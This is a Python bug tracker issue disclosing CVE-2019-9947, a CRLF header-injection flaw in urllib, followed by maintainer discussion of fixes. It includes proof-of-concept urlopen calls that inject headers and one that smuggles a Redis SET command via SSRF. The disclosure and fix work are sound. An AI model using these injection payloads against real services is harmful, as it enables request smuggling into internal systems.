[CVE-2019-9947] Header Injection in urllib

[push0ebp]

BPO	35906
Nosy	@gpshead, @orsenthil, @vstinner, @tiran, @vadmium, @matrixise, @push0ebp, @ware
PRs	bpo-35906: Avoid headers injections in urllib #11768 bpo-35906: Fix CRLF injection in urllib #12524
Superseder	bpo-30458: [security][CVE-2019-9740][CVE-2019-9947] HTTP Header Injection (follow-up of CVE-2016-5699)

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = None
closed_at = <Date 2019-04-10.09:32:49.871>
created_at = <Date 2019-02-06.00:32:11.669>
labels = ['type-security', '3.8', '3.7', 'library']
title = '[CVE-2019-9947] Header Injection in urllib'
updated_at = <Date 2019-04-10.09:32:49.870>
user = 'https://github.com/push0ebp'

bugs.python.org fields:

activity = <Date 2019-04-10.09:32:49.870>
actor = 'gregory.p.smith'
assignee = 'none'
closed = True
closed_date = <Date 2019-04-10.09:32:49.871>
closer = 'gregory.p.smith'
components = ['Library (Lib)']
creation = <Date 2019-02-06.00:32:11.669>
creator = 'push0ebp'
dependencies = []
files = []
hgrepos = []
issue_num = 35906
keywords = ['patch', 'patch', 'patch']
message_count = 7.0
messages = ['334896', '334906', '334999', '335000', '335005', '339835', '339842']
nosy_count = 8.0
nosy_names = ['gregory.p.smith', 'orsenthil', 'vstinner', 'christian.heimes', 'martin.panter', 'matrixise', 'push0ebp', 'ware']
pr_nums = ['11768', '12524']
priority = 'normal'
resolution = 'duplicate'
stage = 'resolved'
status = 'closed'
superseder = '30458'
type = 'security'
url = 'https://bugs.python.org/issue35906'
versions = ['Python 2.7', 'Python 3.4', 'Python 3.5', 'Python 3.6', 'Python 3.7', 'Python 3.8']

[push0ebp]

this patch can also be broken by path and query string.
http://www.cvedetails.com/cve/CVE-2016-5699/
https://bugs.python.org/issue30458

can succeed to inject HTTP header and be more critical by bypassing illegal header check

# Vulnerability PoC

>> import urllib.request

>>> urllib.request.urlopen('http://127.0.0.1:1234/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
or 
>>> urllib.request.urlopen('http://127.0.0.1:1234/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')

nc -lv 1234
GET /?q=HTTP/1.1
Header: Value
Header2: HTTP/1.1
Accept-Encoding: identity
Host: 127.0.0.1:1234
User-Agent: Python-urllib/3.8
Connection: close

we can inject headers completely.

## Redis
redis also be affected by bypassing SSRF protection checking header "host:" with this injection.

>>> urllib2.urlopen('http://127.0.0.1:6379/?q=HTTP/1.1\r\nSET VULN POC\r\nHeader2:\r\n').read()
'$-1\r\n+OK\r\n-ERR unknown command `Header2:`, with args beginning with: `HTTP/1.1`, \r\n-ERR unknown command `Accept-Encoding:`, with args beginning with: `identity`, \r\n'

$ redis-cli
127.0.0.1:6379> GET VULN
"POC"

# Root Cause
cc54c1c

• _hostprog = re.compile('^//([^/?])(.*)$')
  + _hostprog = re.compile('//([^/#?])(.*)', re.DOTALL)

It could succeed to parse host because of re.DOTALL
re.DOTALL gave the opportunity of injection.

this version of the commit was 3.4.7+

this vulnerability can be affected 3.4.7+ ~ 3.8-dev <- I tested it.
also, python 2.7.15 can be affected. I don't know which python2 version is affected because not test.

maybe after the commit, all of higher versions can trigger this vulnerability.

# Conclusion
this patch provides more critical vulnerability to bypass the illegal header check.
and we can inject HTTP header completely in urlopen() from this patch.

(Although this vulnerability is old on 12 Jul 2017, I don't know why no one has submitted issue still now XDD)

[matrixise]

Hi all,

Not sure for the right way for this fix but here is a PR. I am interested by your feedback.

Thank you

[push0ebp]

Sorry, I'm late.
My review is here. #11768

[vadmium]

Maybe related to Victor's "Issue 1" described in bpo-32085. That is also a security bug about CRLF in the URL's path, but was opened before bpo-30500 was opened and the code changed, so I'm not sure if it is the same as this or not.

Also there is bpo-13359, a proposal to automatically percent-encode invalid URLs. For a security fix, I'm not sure but it might be safer to raise an exception, rather than rewriting the invalid URL to a valid one.

[push0ebp]

Yes, I thought so. before the commit version i said, the previous version(3.4.6), raised an exception(no host given) in urlopen failing parsing host.
If this patch wants to be same as the previous version, It is right to raise an exception like the previous version.
I thought there is no exact answer, only depends on Python features.

[vstinner]

According to https://bugzilla.redhat.com/show_bug.cgi?id=1695572, the CVE-2019-9947 has been assigned to this issue.

[gpshead]

my fix proposed in bpo-30458 fixes this issue.

i do not think this one deserved its own CVE; at least https://nvd.nist.gov/vuln/detail/CVE-2019-9947's current text also points to the other one.